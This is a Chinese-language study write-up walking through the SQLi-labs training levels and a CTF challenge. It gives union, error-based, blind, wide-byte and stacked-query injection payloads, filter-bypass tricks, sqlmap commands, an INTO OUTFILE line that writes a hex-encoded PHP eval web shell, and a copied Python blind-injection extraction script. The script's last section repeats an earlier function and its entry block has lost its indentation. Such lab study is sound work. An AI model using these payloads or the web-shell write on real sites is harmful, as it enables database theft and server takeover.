最最最最最基础简单的部分 (虽然它简单但是不等于我记得,更不等于我会.jpg)

SQL 提权见 linux 提权

# 基本语句

先明确一件事,所有的查询语句,查的都是数据,而不是字段之类

select database()
//这是查当前数据库,如果是要查所有,是;
select group_concat(schema_name) from information_schema.schemate才对
注意,只有在information_schema.schemate中才存在字段schema_name,在其他两个表中都会叫做table_schema,但是在information_schema.tables/columns中却都有table_name这个玩意儿
select table_name from information_schema.tables where table_schema='库名'
//仔细思考下含义,其实这里查的是information_scheam下的tables表的table_schema字段下的值,这和要查的表无关,应为查询查的都是字段的值
select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 1,1
//1,1表示查询从第一个字段开始查,查一个(其实只能这样),同上,这就是在information_schema库的columns表上查table_schema字段和table_name字段下的数据(注意这是两个完全不同的字段,实际上是查两者共有的那个)后面的and语句也可以换成columns.table_name=
select 1,flag,3 from error_flag

在任何时候,都可以用类似 group_concat (table_name) 的表达来一次性查询

回显长度有限时可能需要 substr (),right (),left () 之类的调整

(加在直接查询的地方)

select group_concat((right(password,25))) from...

联合查询需要使用 order by 字句判断字段数与回显点

例子:

# [极客大挑战 2019] HardSQL

这题是报错注入,其他的几个都被过滤了(?不知道能不能盲注)

大致 payload:

updatexml(1,concat(0x7e,database(),0x7e),1)

以及

把 database 换成:

(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))
//因为是在函数里,所以都要用()
//like本身用于模糊匹配,但这里等同于=
//用了group_concat,这些报错注入的函数都是单次查询。返回多条会报错,得不到东西

及其类似物

PS: 现在回过头来看,这道题似乎跟 hard 没有什么关系...... 被骗了,不如之前那篇里面的那几个莫名奇妙的玩意儿

# SQL-lab

# 1

联合注入是在前一句执行失败时才执行后一句,所以不要用 1

这里的 wp 中有一句

select group_concat(column_name) from information_schema.columns where columns.table_name='users'

但是实际上不够准确,因为没有指定数据库,其他某个数据库中也存在一个叫 users 的表,那么其字段也会输出:

1753349587595

可以多加一个:
and columns.table_schema='security'
不过实际上这个where字句中的conlumns可以直接省略

# 2

数字型,不用闭合,其他同上,还有就是不要用 1! 不要用 1! 不要用 1!

# 3/4

变形版本,得看源码

1753350302712

1753350405980

于是 payload

?id=1') union select ...
?id=") union select...

# 5/6

没有回显,这俩只有闭合方式一样('/")

一个闻所未闻的报错注入格式:

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) as x from information_schema.tables group by x)a)--+

这里结合了联合查询:

union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a

原理是:

1753352462619

1753352542565

子查询中用 information_schema.table 只是因为数据量多,方便触发重复键错误。

count () 就是计数用的聚合函数,类似的还有 sum ()...

PS:单说这道题,用 updatexml ()/extractvalue () 也是可以的

# 7

看源码:

1753353147091

这下报错都没回显了,<del> 盲注脚本一把梭哈(?)</del>

之后闭合就不多说了,看源码就知道

联合写入(?)

?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+
//那一串就是<?php eval($_POST['test'])?>

路径靠猜

# 8/9/10

布尔 / 时间盲注,以及闭合方式

1753354681307

1753354700823

# 11/12

变成登录界面了,首先来个万能密码:

-1' or 1=1#

发现输出和第一关一模一样。显然 payload 也是一样了

(从 11 题开始用 post 方法,12 闭合不同)

wp 里面用了 limit 2,1 之类的,不过这题能显示出来的挺多,直接 group_conca () 就行了

# 13/14

常规 order by 加 union, 发现没有回显,但是可以报错。

闭合方式是 ')

随便给个 payload:

-1') union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x #

# 15/16

盲注

# 17

报错注入,但是 password:

1753357670709

username 单独查询的结果,作为下一次查询的参数,而不是我们的输入本身 (也没有任何回显)。

有 $row 的判断,说明必须输入实际存在的用户名

所以注入点在 password,就这样

随便给个 payload

1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
//user()返回当前数据库用户

# 18/19/20

这道题注入点在 user-agent/referer/cookie

看源码:

1753360163847

测试时可以发现有错误回显,报错注入

提前闭合 ') ,然后由于是三个参数,不能把直接后面注释掉

mysql 总是先解析语法,所以必须再次凑一个闭合

payload:

111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

拼上去后:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '', '$IP', $uname)

如果是下面这种:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0)) #', '$IP', $uname)

会先检查 values 的参数表,只有一个,直接报错,此时我们构造的报错语句反而没有执行,出现参量不匹配:

1753361990287

你可以手动补齐参量:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0),2,3) #', '$IP', $uname)

1753362030825

所以最简单的:

1',2,updatexml(1,concat(0x7e,database(),0x7e),1))#

# 21/22

cookie 注入,抓包后可以发现 cookie 是 base64 编码的字符,所以先编码单引号,发现是普通的报错注入(此题需要还一个括号闭合,22 单变双)

# 23

回到 GET 请求,这题过滤了注释符,所以要强行闭合后面

payload:

id=admin' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

where 字句当后面的表达式为真时,会反应对应记录,这是使用

where 1 or '1' = '构造恒真条件1 为真, or 使整个条件始终为真),确保 users 表的查询返回所有记录,而非部分数据

也可以简单的:

id=admin' union select 1,group_concat(username),group_concat(password) from users or '1'='1

PS:这题没法用 order by 字句测试,只能 select 一直加

# 24

二次注入

登录 + 注册 + 修改密码的页面,查看一下源码:

登录和注册函数都有转义:

1754212023239

但是存储的不是转义后的:

1754212071415

这题的目的是修改 admin 的密码,我们可以构造一个在过滤后变成 admin 的账号,利用存储时不转义,在改密码时让其被过滤为 admin,修改其密码:

先注册: admin'# , 然后修改其密码即可

这道题倒是很像之前那题 hctf,不过那题是 unicode 字符欺骗,利用两次函数得到效果

# 25(a)

这道题开始存在过滤,联合注入

1754212766085

这东西就是普通的替代一次,所以直接双写绕过,区别在于 25a 不是字符型,没有单引号闭合

注意:information_schema,password 中也有 or!!!!!

# 26(a)/27(a)

过滤逻辑运算符 (and,or),注释符,空格,都是使用正则

所以直接全部双写绕过,空格可以使用:

%09(Tab 水平)%0a(换行)%0c(换页)%0d(return)

%0b(Tab 垂直)

% a0(空格)

此题可能解析不了,要用 () 绕过

此外:and,or 也可以改为 &&,||

报错注入:

?id=1'||(updataxml(1,concat(0x7e,(select(table_name))from (infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

26 (a) 则是多一个 ) 闭合,并且无法报错,只能联合或者盲注,事实上 26 本身也可以直接联合查询:

?id=1'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1

27 则是将 and,or 的过滤改为 select 和 union,可以大小写或者双写绕过

?id=0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1

27 (a) 闭合换 "

# 28

过滤更多

1754212945568

过滤了 and,or,/*,--,#, 空格,正反斜杠

注意:最后一个通常写作 preg_replace('/[\/\\\]/', '', $id); 因为在 PHP 中 \\ 会被解释为单个反斜杠,三个反斜杠实际上是双重转义(PHP 和正则)

payload:

-1' union select 1,group_concat(username),group_concat(passwoorrd) from security.users where 1 && '1

构造前后都是真,有些数据库 where 字句不能用纯字符作为条件,所以才有之前的 where 1 or '1'='1 以及这里的 where 1 && '1 后者兼容性更强。

# 29/30/31

加了 waf:

1754220652753

只允许纯数字,看上去无解,再看看别的:

1754220742623

里面还有个函数 java_implimentation ():

1754220821888

这一段是在处理传入多个参数,将类似于 key1=111&key2=222 的 GET 传参转化为 array("key1=111","key2=222") 的形式,然后提取前两个字符为 id 的内容并返回

这虽然是一个循环,但是 return 只有一次,因此返回的只有第一个 id 的内容,然后将其送去 whitelist 检查,也就是说:.

这个 waf 只检查了第一个 id

payload 不言而喻:

?id=1&id=1' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+

30 闭合方式改 " ,31 比 30 多个 )

# 32/33/34

宽字节注入

这题过滤单 / 双引号,但是:

1754221764488

GBK 编码,有中文这种宽字节

注意:字节大于 1 就是宽字节

PHP 中编码为 GBK,函数执行添加的都是 ASCII

mysql 默认的字符集就是 GBK

不过上面那张图是设置网站的字符集,只有当两者都是 GBK 时才能宽字节注入

此时可以绕过大多数符号转义

payload:

?id=-1%df%27 select 1,database(),3 --+ 

% df 不会被转义,%27 前会加上 %5c(即 \ )来转义,这使得整体变成:% df%5c%27,但由于是 GBK 编码,% df%5c 会结合成不知道哪个汉字,又只剩下 %27

除去 % df,任何 GBK 首字节都可以用于宽字节注入,可以被合并的范围则是 GBK 尾字节

首字节:0x81-0xfe,即 129-239

尾字节:0x40-0xfe,即 64-126,除去 0x7f 的 128

这题的反斜杠 %5c 在这范围内

sqlmap 有专门的脚本

sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py -D security --tables

34 改用 post

# 35

1754223453659

中文符号都出来了(乐)

这也导致了如果你用单括号闭合了这句话反而会被过滤

但是这道题的查询语句:

1754223613857

不需要闭合


mysql 里可以直接写 16 进制,从而避面用引号标识字符串

1754223765871


所以这题没有过滤

# 36/37

32 是使用正则过滤,这道题用的是 mysql_real_escape_string () 转义,两题都是单引号闭合。

绕过方式同 32

37 是 POST

# 38/39/40/41

1754224386955

堆叠查询,我记得好像说过可以用 sleep () 函数检验是否存在

payload(其实就是个最最简单的联合注入):

?id=-1' union select 1,version(),database() %23
或者
?id=1';select database(),version() --+

这里出结果还是要联合查询,因为这个堆叠完全没有回显,不过可以生效

1754235241507

39,39 参数整数,不闭合,40 是 ')'


# 题外话

其实我还试了试能不能搞个 shell, 但是:

1754236821678

好的,非常好,太好了,没活了

也不知道为什么网上很多地方都是这样改的

PS: 另外现在我才知道,用 mysql 命令行和正常的语句没有区别。


# 42/43

类似于 32,GBK 换成堆叠,只能盲操作数据库。43 闭合换 ')'

# 44/45

同 42,不过由于是 POST,而且:

1754240246737

如果只是忘了密码要登录,可以直接 password 用万能密码,但不如直接堆叠:

UPDATE users SET password='az' WHERE username = 'az'; 
insert users (username,password) value ('az','az');

这对应了下面的两个要求:

1754241000794

45 多 ) 闭合

# 46/47/48/49/50/51/52/53

随便试一下就知道是报错注入了。虽然是在 order by 字句,不过这有什么关系?

payload:

?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));

这里如果使用布尔或者时间盲注,可以用异或注入判断长度

payload:

?sort=1 ^(select(select version()) regexp '^5')

order by 并不能放在 union 之前,除非将两个查询用括号独立起来

(select 1,2,3) union (select 4,5,6)

不大可能见到这种前面需要自带一个 ( 的版本

47 是 ' 闭合,48/49 是布尔 / 只能时间盲注

50 与 46 相同,但是多了个可以堆叠注入

51 是 ' 闭合的 50,52 是多了堆叠的 49

53 是 ' 闭合的 52

# 54/55/56/57

没有任何过滤但是有次数限制的 ' 联合查询,都是随机数据

大概就是:

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--+

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='上一句得到的表名'

-1' union select 1,group_concat('上一句得到的字段名'),3 from '上上一句得到的表名'

55 是整数型加 ) ,56 是 ')' ,57 是 "

# 58/59/60/61

这道题:

1754243688708

这时我们的取值是从数组而不是数据库

<del> 但是这个数组不也是从数据库来的?</del>

不能联合,但是这题有报错回显,是个平平无奇的报错注入

59 整数型,60 ") ,61 '))

PS:报错注入的闭合方式可以直接看报错的部分

# 62/63/64/65

没有过滤的普通盲注, ') 闭合

63 ' ,64 )) ,65 )

# 盲注部分

原理以前看过,这次主要看怎么实际操作,不过还是过一下:

首先用万能密码判断注入类型,然后判断回显位

使用 length 判断长度,使用二分法

假设执行语句:select first_name,last_name from users where user_id = '参数';
payload:1' and length(database())> 20 #

猜测其组成部分,使用 ascii(substr())

这个地方就是之前字符集问题的罪魁祸首,可以使用两次 convert 来解决,这里不考虑。

ascii(substr(database()),1,1)>20 #

同样二分法,改变起始位置逐个猜测

判断表的个数:

1' and (select count(table_name) from information_schema.tables where table_schema=database())<10 #
//count是集合函数用于统计满足特定条件的行数(表的数量),理论上也可以用于触发order by的报错注入

接下来如法炮制,爆长度,因为可能存在多个表,所以使用 limit 字句限定返回某一行,注意该字句的索引从 0 开始:

1' length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

爆具体字段,也就只是换了下外面套的函数罢了:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #   

之后就是类似的查字段数 count() , 查字段名长度 length() , 查字段名 ascii(substr())

最后查字段内容 ascii(substr())

时间盲注则是再所有需要用到判断的地方外加一个 if 语句,如果成功就延迟 5 秒(因为大多都不会成功)

1' and if(......,sleep(5),1)#

# BP

如果是布尔盲注的话,使用 bp 可以半自动爆破,不使用二分法而是每一个值都爆过去

(感觉实际情况是直接被 ban)

# Python

这里网上 copy 一个用命令行交互实现的时间盲注脚本(太久没写代码都还回去了是这样的)只有 get,若是 post 要手动改

# 程序入口

#入口,主函数
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    #目标 URL 参数 -u
    parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
    (options,args) = parser.parse_args()
    StartSqli(options.targetURL)

# 主函数

def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+] 数据库 {0} 的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1 ) + ")" + DBTables[item])
    tableIndex = int(input("[*] 请输入要查看的表的序号 :")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+] 数据表 {0} 的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*] 请输入 要查看的字段的序号(输入0退出):")) - 1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

# 爆数据库名

#获取数据库名函数
def GetDBName(url):
    #引用全局变量 DBName
    global DBName
    print("[-] 开始获取数据库的长度")
    #保存数据库长度的变量
    DBNameLen = 0
    #用于检查数据库长度的 payload
    payload =  "' and if(length(database())={0},1,0) %23 "
    #把 url 和 payload 进行拼接,得到最终请求 url
    targetUrl = url + payload
    print(targetUrl)
    #用 for 循环遍历请求,得到数据库名的长度
    for DBNameLen in range(1,99):
        #对 payload 的中的参数进行赋值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        #判断 flag 是否在返回的页面中
        if flag in res.content.decode("utf-8"):
            print('进来了吗')
            print("[+] 数据库名的长度:"+ str(DBNameLen))
            break
    print("[-] 开始获取数据库名")
    #获取数据库名的 payload
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    #a 表示 substr () 函数的截取位置
    for a in range(1,DBNameLen+1):
        #b 表示在 ascii 码中 33~126 位可显示的字符
        for b in range(33,127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

# 爆表名

#获取数据库表函数
def GetDBTables(url, dbname):
    global DBTables
    global method
    #存放数据库表数量的变量
    DBTableCount = 0
    print("[-] 开始获取 {0} 数据库表数量:".format(dbname))
    #获取数据库表数量的payload
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    #开始遍历获取数据库表的数量
    for DBTableCount in range(1,99):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    #遍历表名时临时存放表名长度的变量
    tableLen = 0
    #a表示当前正在获取表的索引
    for a in range(0,DBTableCount):
        print("[-]正在获取第{0}个表名".format(a+1))
        #先获取当前表名的长度
        for tableLen in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #开始获取表名
        #临时存放当前表名的变量
        table = ""
        #b表示当前表名猜解的位置(substr)
        for b in range(1,tableLen+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c 表示在ascii码中33~126位可显示字符
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode("utf-8"):
                    table +=chr(c)
                    print(table)
                    break
        #把获取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用来继续获取下一个表名
        table = ""

# 爆字段名

#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #存放字段数量的变量
    DBColumnCount = 0
    print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
     #开始获取字段的名称
     #保存字段名的临时变量
    column = ""
    # a 表示当前获取字段的索引
    for a in range(0,DBColumnCount):
        print("[-]正在获取第{0} 个字段名".format(a+1))
        #先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b表示当前字段名猜解的位置
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c 表示在ascii表的33~126位可显示字符
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #把获取到的字段加入DBCloumns
        DBColumns.append(column)
        #清空column,用来继续获取下一个字段名
        column = ""

# 爆内容

#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #存放字段数量的变量
    DBColumnCount = 0
    print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
     #开始获取字段的名称
     #保存字段名的临时变量
    column = ""
    # a 表示当前获取字段的索引
    for a in range(0,DBColumnCount):
        print("[-]正在获取第{0} 个字段名".format(a+1))
        #先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b 表示当前字段名猜解的位置
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c 表示在 ascii 表的 33~126 位可显示字符
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #把获取到的字段加入 DBCloumns
        DBColumns.append(column)
        #清空 column,用来继续获取下一个字段名
        column = ""
# 附加
if __name__ =='__main__':
#这用于判断当前脚本是否是被直接运行,而不是被导入,当直接执行时条件为真,下面的代码块会执行
parser = optparse.OptionParser('usage: python %prog -u url \n\n Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
#创建命名行参数解析器,其中内容是 - h/--help 的使用提示,% prog 会自动替换为该脚本名
parser.add_option('-u', '--url', 
                 dest='targetURL', 
                 default='http://127.0.0.1/sql/Less-8/?id=1', 
                 type='string', 
                 help='target URL')
#添加参数,指定其是 - u/--url 命名行参数,dest 是解析后对象的成员变量名,解析后的数据将存入这个成员变量,default 默认值,string 解析时的类型,help 参数的说明文,在 - h/--help 显示
(options, args) = parser.parse_args()
#解析参数,前一个是对象存储命令行参数,后一个则是数组存储剩下的裸参数。
StartSqli(options.targetURL)
#调用主函数